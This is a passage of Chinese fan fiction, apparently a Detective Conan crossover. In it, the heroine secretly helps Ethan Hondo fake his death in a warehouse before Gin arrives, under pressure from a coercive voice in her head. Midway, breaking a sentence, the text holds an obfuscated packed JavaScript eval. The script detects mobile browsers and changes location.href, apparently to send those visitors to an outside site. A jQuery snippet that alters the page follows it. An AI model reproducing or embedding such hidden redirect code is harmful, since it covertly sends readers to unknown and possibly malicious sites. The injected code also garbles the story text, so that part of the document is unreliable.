破败的仓库大门没有封闭,失去遮挡,海风肆无忌惮地穿过。
风声送来了逐渐接近的脚步声。
藤野雾垂眸,楼梯间的位置看不到一楼,并不利于侦察。
趁着来人还没进入仓库,藤野雾迅速转移了场地。沿着楼梯往上来到二楼,期间谨慎地没有发出任何声音。
说是二楼,其实是一层中空的连廊,水泥地板上积了一层薄薄的灰。
不知是不是仓库建造时考虑了货架储物关系,仓库的层高建造得很高。
藤野雾眯了眯眼,二楼光线昏暗,又有集装箱遮蔽视线。
只要不发出声响,一楼的人仰着脖子往上看,也不会发现什么。
这一点在来人进来后,上下左右观察了一番环境的动作中,得到了确认。
来人头顶黑色自然卷发,穿了一身纯黑色衣装,是个中年人。
藤野雾在对方抬头观察二楼时,注意到对方有一双带着混血特征的吊梢眼,虹膜呈现一种深沉的蓝色。
他右手插在口袋里,西装口袋凸起的形状上看,里面那只右手大概率握着枪。
黑西装,热武器,藤野雾不确定,她是碰到横滨特色 Mafia 了么?
中年男人靠在一个集装箱上边缘位置,面朝大门的方向。
这个距离,他能第一时间看到仓库外的来人,同时侧身又能拿集装箱作为掩体。
进可攻,退可守。这是在等人?
仓库外传来了汽车发动机的声音,藤野雾知道自己猜对了。
她越发放缓了呼吸。
今天是出来采风的,藤野雾可不想节外生枝。
不管是不是自己想的交易现场,情况不明,她不想卷入意外的麻烦里。
连廊一角,有一片棕色动了一下。
藤野雾眼角余光瞥到,定睛看去,发现那儿躺了一个流浪者。
对方似乎在这里居住了很久,周身的味道和仓库里漂浮的气味如出一辙。
因为流浪者是平躺着的,又和她有些距离,藤野雾先前还以为是和楼下一样堆了几件废弃的厚衣服。
这可不行。
要是对方再发出什么响动或者突然醒来,惊动楼下的人,藤野雾可不敢保证是否会打起来。
楼下传来平底低跟鞋踩过地板的“哒哒”声。
藤野雾一边侧耳倾听,一边半蹲贴墙挪到流浪者身边,在耳后位置用了点力,让对方陷入深度昏睡中,确保一时半会不会醒来。
“他就是新的联络人,马上就会到达这里来的!”
……
是父女关系啊,藤野雾面色不动,听到了“组织”二字。
就是这个组织的做派,听起来怎么越听越觉得熟悉呢?
藤野雾挑了挑眉,本来以为是横滨本土的 Mafia,没想到吃瓜吃到自己头上了。
她翻出随身携带的迷你信号屏蔽仪,以防万一先打开了,范围开到最大。
流浪汉所在的这个位置,刚好可以把楼下看得一清二楚。
藤野雾操作完上手上的动作,就听到中年人含怒的一声“别动!”
穿着西式套装裙的女人领子后面被发现有信号发射器。
藤野雾眨了眨眼,已经预料到后面会发生什么了。
一直听说黑衣组织里的有不少机构派遣的谍报人员,没想到有朝一日能看到现场。
她站起身,紫罗兰的眼睛一动不动的盯着楼下的发展。
按照以往的惯例,接下来跟着西式套装裙的女人过来的,应该会是琴酒没跑了。
说起来,她也有段时间没见过大哥了。
藤野雾回忆了下琴酒的手段,觉得接下来的场面大概不会很好看,她摇了摇脑袋,暂时不想在这种地方和琴酒碰面。
她准备寻机离开时,却被楼下的异动定在了原地。
一声惊呼,那个女性被砸到墙壁上,跌倒滑落在地。
藤野雾猛地回头,为这出人意料的发展。
“只有这样做才能救……”
保险栓拉开的声音在此刻如此清晰的传至耳朵里,随后是“砰砰砰砰”四声枪响。
周遭的一切忽然模糊起来,藤野雾有些眩晕地扶住了额头,时间在这一刻似乎被无限拉长了。
是杀女?
不,不是。
他是为了救女。
开枪射中四肢,是为了营造出两人相互厮杀的假象。
那个中年人,准备把活下去的机会留给自己的女儿。
藤野雾呼吸急促起来,他是什么时候做的决定?
在发现领子后面粘着发信器的时候?
还是在之后?
耳膜传来鼓噪的声音,藤野雾有些恍惚地掐住了掌心,指甲印刻出深深的痕迹。
为什么?
为什么能做到这一步?
都是谍报员,都是有女儿,为什么别人的父亲就能做到这种程度?
藤野雾咬住下唇,久远的回忆在此刻无比清晰。
多可笑,她原以为自己早已不在乎,原以为那些陈旧的记忆早就被她遗忘。
没想到在碰到相似的情境的时候,才发现自己这么多年一直未曾放下介怀。
“救他。”
“去救他。”
“快去救他!”
脑海里响起尖利的听不出男女的声音,藤野雾只觉得大脑一阵剧痛。
“什么?”突如其来的话直接在她脑子里回响。
藤野雾觉得荒谬,要不是她还残存了一些理智,这句话是在心里回复,而不是脱口而出的话,她现在就会被一楼的那对父女发现了。
“救他!救他!救他!”
尖利的声音像是陷入混乱中,一个劲的循环着这两个词。
藤野雾分不清,这声音是真实还是虚幻。
她咬住舌尖,试图让自己冷静一点,“凭什么?”
这种吃力不讨好的事情,她凭什么要做?
况且,没猜错的话琴酒应该快到了。
论关系亲疏,她根本不认识楼下的两个人。琴酒好歹是陪伴过她成长的人,为什么她要为了不相干的人去欺瞒自己认识的人?
“你是什么东西,凭什么来指挥我?”藤野雾在心底暗问。
越是这样,她越是被激起了逆反心理。
“外来者,你不属于这个世界。”
“要么救,要么死。”
尖利的声音像是从混乱中恢复了,语调冰冷而不含任何情绪。
藤野雾从中感到了一种森森的恶意,像是被不知名的存在所注视了。
什么外来者?
什么叫做不属于这个世界?
藤野雾根本听不懂那个声音在说什么。
但下一秒心脏传来的剧痛,让她意识到,无论这个声音属于何方神圣,对方确实拥有令她死亡的能力。
藤野雾最在乎的是自己的性命,这声音是结结实实的拿捏住了她。
“我要怎么做?”她深吸一口气,冷静地反问。
这话一出口,心脏处的剧痛就减轻了。
藤野雾紫色眸光暗了一瞬,强迫自己压下疯涌的暴虐情绪,清空所有的思绪。
只有她自己知道,这种受制于人的局面有多让她忌惮。
“你的异能力。”
“去吧,你会知道应该怎么做的。”
那道声音说完后就消失了,心脏上的寒意证明对方还在看着这里的一切。
她的异能力?
藤野雾皱了皱眉,不明白那道声音在打什么哑谜。
异能力,不是与生俱来的才能么?
等等,她回过神,匆匆奔向连廊的栏杆方向,有些焦急的往下望去。
刚刚那段对话耗费了不少时间,藤野雾因为疼痛完全忽略了周遭的环境,楼下现在是什么情况?
人不会已经死了吧?
要是没救下人,那道声音不会要她陪葬吧?
藤野雾盯着楼下,这一盯她才发现,楼下中年人还维持着刚开枪射击的姿势。
四肢受到枪击的人身上的血迹没有蔓延,就像,刚刚时间都静止了一般。
时间、静止?
藤野雾被自己这个猜测震惊到,不过眼下不是探究这事的时候。
她视线移动,重新看向另中年人。
只见楼下中年男人一把咬住了自己的手腕,锋利的牙齿刺破皮肤,鲜血直流。
中年
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247026|179115||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
男人面不改色地将鲜血直流的腕部堵到那个女性的口中。
若非亲眼所见,眼前的一幕谁见了都会以为是女性咬住了中年男人的手腕。
很少受伤的藤野雾咋舌,真是个狠人。
瞧着沉默寡言的样子,没想到对自己这么下得去手。
男人语调急促,快速将后事陈诉给自己的女儿。
不好!
藤野雾一个激灵,来不及多想,把先前带在身边的锦蛇投掷了下去。
和狸花猫分开后,她原本打算找个地方把锦蛇埋了,因此锦蛇的尸体一直被她挂在腰间。
这会动作快过思绪,这么大一只蛇丢下去,不会把人砸出事吧?
伊森·本堂交代好后事后,把手上的枪塞进女儿手里,正准备开枪自尽,却被从天而降的大蛇阻止了。
子弹没有如预期的那样穿过下颚,而是卡进了蛇身里。
这条巨蛇似乎死了一段时间,没有血液溅出,挨了一记子弹后,从男人身上滑坠到地上。
“什么人!”中年男人因为这场意外下意识抬头,看向巨蛇掉下来的方向,不忘把女儿护在身后。
仓库二楼位置,穿着宝蓝色卫衣和浅灰色工装裤的女性,坐在二楼栏杆上。
紫罗兰色的眼睛和深蓝色的眼对视,伊森·本堂在对方眼里只看到了漠然,他下意识抬起了枪。
下一秒,那条巨蛇的身上忽然发出玄色的光,在伊森·本堂惊愕的眼神中,一个和他一模一样的人躺在了地上。
“愣着干嘛,还不赶紧做你原本想做的事情!”藤野雾不动声色得从栏杆上翻回连廊处,压下微微颤抖的小臂。
仓库外有汽车引擎声在接近。
伊森·本堂也听到了引擎声,中年男人凭着声音判断出琴酒来了。
没时间耽搁了,他看了一眼女儿,她似乎还在先前的情绪中没有缓和过来。
这样也好。
伊森·本堂深深望了女儿一眼,有条不紊地伪造瑛海被刑讯逼供后丝血反杀自己的现场。
这本来就是他的打算,唯一区别是现在那个尸体换成了假的。
二楼连廊,藤野雾侧头听着引擎声,是琴酒的车。
这种情况是她自己也没有想过的,现在,是中年人在和琴酒争夺时间。
还不到放松的时候,藤野雾摸着心脏位置,那里还残留着钝痛。
一楼到二楼,爬上来是来不及了。
她略微思考了一下,从工装裤里摸出一条动力绳。
藤野雾外出采风的时候没有固定目的地,通常走哪算哪,有时候会突发奇想跑到山里,所以身上带了不少小道具。
用于攀岩的动力绳就是其中一种。
她揉了把有些脱力的小臂,刚刚蛇尸发出玄光时,几乎耗尽她全身的体力。
藤野雾把动力绳绑上栏杆,好消息是这座仓库的建筑质量似乎不错,金属栏杆应该能承受住一个成年男性的重量。
伊森·本堂布置好现场后又对女儿嘱咐了几句,看见垂下来的动力绳,立即明白那个神秘女人的意思,当即借着绳子爬到了二楼。
他取下绳子,交给女人的时候注意到边上还有一个流浪者。
见鬼,先前怎么都没有发现。
对了,先前瑛海说的,新的联络员……没等他多想,仓库门外多了两个人影,是琴酒和伏特加。
……
后面发生的事情藤野雾没有多注意了,自从那个中年人上来后,心脏处的钝痛就消失了。
藤野雾在心里呼唤了那道声音好几次,都没有得到回应。
伊森·本堂期间一直沉默地注视着女儿。
他的安排没有问题。但女儿身上,他亲手打伤的做不了假,希望她能赶紧闯过这一关,好去治疗。
至于身边神秘的女人,伊森·本堂从对方那张脸上意识到,这是个年纪比自己女儿还小很多的孩子。
先前那神奇的一幕还在他脑海里,变成人形的蛇尸,触感、外表都和真人无异。
伊森·本堂对此非常好奇。
现在不是沟通的好时机,既然她救了人,他就得承情。
中年男人按耐住担忧,静静地等待琴酒和伏特加离开。